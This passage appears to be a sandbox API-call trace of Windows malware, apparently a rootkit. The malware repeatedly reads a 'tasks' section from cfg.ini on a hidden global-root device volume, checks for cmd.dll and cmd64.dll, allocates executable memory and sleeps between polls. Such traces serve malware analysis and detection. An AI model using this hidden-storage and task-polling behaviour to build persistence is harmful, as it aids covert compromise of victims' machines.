(_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.864] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.864] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.864] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.864] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.864] IdePortDispatch () returned 0x103 [0122.865] KeWaitForMutexObject () returned 0x0 [0122.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.865] KeLeaveCriticalRegion () [0122.865] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.865] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.865] KeEnterCriticalRegion () [0122.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.865] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.865] KeLeaveCriticalRegion () [0122.865] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.865] KeEnterCriticalRegion () [0122.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.865] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.865] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.865] KeLeaveCriticalRegion () [0122.865] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.865] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.865] KeEnterCriticalRegion () [0122.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.865] ExFreePoolWithTag (P=0xfffffa8003be43d0, Tag=0x0) [0122.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.865] KeLeaveCriticalRegion () [0122.865] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.866] ReleaseMutex (hMutex=0xf0) returned 1 [0122.866] Sleep (dwMilliseconds=0x927c0) [0122.870] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.870] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.873] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.873] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.873] KeEnterCriticalRegion () [0122.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.874] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.874] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.874] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.874] IdePortDispatch () returned 0x103 [0122.874] KeWaitForMutexObject () returned 0x0 [0122.874] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.874] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.874] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.874] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.874] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.874] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be43d0 [0122.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.874] KeLeaveCriticalRegion () [0122.874] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.874] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.874] KeEnterCriticalRegion () [0122.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.874] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.874] KeLeaveCriticalRegion () [0122.874] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.874] KeEnterCriticalRegion () [0122.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.874] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.874] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.874] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.874] IdePortDispatch () returned 0x103 [0122.874] KeWaitForMutexObject () returned 0x0 [0122.874] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.875] KeLeaveCriticalRegion () [0122.875] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.875] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.875] KeEnterCriticalRegion () [0122.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.875] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d6c000 [0122.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.875] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.875] IdePortDispatch () returned 0x103 [0122.875] KeWaitForMutexObject () returned 0x0 [0122.875] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.875] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.875] IdePortDispatch () returned 0x103 [0122.875] KeWaitForMutexObject () returned 0x0 [0122.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.875] KeLeaveCriticalRegion () [0122.875] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.876] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.876] KeEnterCriticalRegion () [0122.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.876] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.876] KeLeaveCriticalRegion () [0122.876] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.876] KeEnterCriticalRegion () [0122.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.876] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.876] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.876] KeLeaveCriticalRegion () [0122.876] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.876] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.876] KeEnterCriticalRegion () [0122.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.876] ExFreePoolWithTag (P=0xfffffa8003be43d0, Tag=0x0) [0122.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.876] KeLeaveCriticalRegion () [0122.876] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.876] ReleaseMutex (hMutex=0xf0) returned 1 [0122.876] Sleep (dwMilliseconds=0x927c0) [0122.889] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.889] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.889] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.889] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.889] KeEnterCriticalRegion () [0122.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.889] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.889] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.889] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.889] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.889] IdePortDispatch () returned 0x103 [0122.889] KeWaitForMutexObject () returned 0x0 [0122.889] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.889] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.889] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.889] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.890] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.890] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be43d0 [0122.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.890] KeLeaveCriticalRegion () [0122.890] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.890] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.890] KeEnterCriticalRegion () [0122.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.890] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.890] KeLeaveCriticalRegion () [0122.890] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.890] KeEnterCriticalRegion () [0122.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.890] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.890] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.890] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.890] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.890] IdePortDispatch () returned 0x103 [0122.890] KeWaitForMutexObject () returned 0x0 [0122.890] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.890] KeLeaveCriticalRegion () [0122.890] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.890] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.890] KeEnterCriticalRegion () [0122.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.890] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d70000 [0122.890] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.890] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.890] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.890] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.890] IdePortDispatch () returned 0x103 [0122.891] KeWaitForMutexObject () returned 0x0 [0122.891] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.891] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.891] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.891] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.891] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.891] IdePortDispatch () returned 0x103 [0122.891] KeWaitForMutexObject () returned 0x0 [0122.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.891] KeLeaveCriticalRegion () [0122.891] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.891] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.891] KeEnterCriticalRegion () [0122.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.892] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.892] KeLeaveCriticalRegion () [0122.892] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.892] KeEnterCriticalRegion () [0122.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.892] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.892] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.892] KeLeaveCriticalRegion () [0122.892] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.892] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.892] KeEnterCriticalRegion () [0122.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.892] ExFreePoolWithTag (P=0xfffffa8003be43d0, Tag=0x0) [0122.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.892] KeLeaveCriticalRegion () [0122.892] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.892] ReleaseMutex (hMutex=0xf0) returned 1 [0122.892] Sleep (dwMilliseconds=0x927c0) [0122.906] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.906] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.906] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.906] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.906] KeEnterCriticalRegion () [0122.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.906] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.906] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.906] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.906] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.906] IdePortDispatch () returned 0x103 [0122.906] KeWaitForMutexObject () returned 0x0 [0122.906] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.906] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.906] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.906] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.906] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.906] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8720 [0122.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.906] KeLeaveCriticalRegion () [0122.906] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.906] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.906] KeEnterCriticalRegion () [0122.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.906] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.906] KeLeaveCriticalRegion () [0122.907] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.907] KeEnterCriticalRegion () [0122.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.907] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.907] IdePortDispatch () returned 0x103 [0122.907] KeWaitForMutexObject () returned 0x0 [0122.907] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.907] KeLeaveCriticalRegion () [0122.907] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.907] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.907] KeEnterCriticalRegion () [0122.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.907] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d75000 [0122.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.907] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.907] IdePortDispatch () returned 0x103 [0122.907] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.907] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.907] IdePortDispatch () returned 0x103 [0122.908] KeWaitForMutexObject () returned 0x0 [0122.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.908] KeLeaveCriticalRegion () [0122.908] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.908] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.908] KeEnterCriticalRegion () [0122.908] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.908] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.908] KeLeaveCriticalRegion () [0122.908] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.908] KeEnterCriticalRegion () [0122.908] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.908] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.908] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7120, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.908] KeLeaveCriticalRegion () [0122.908] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.908] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: 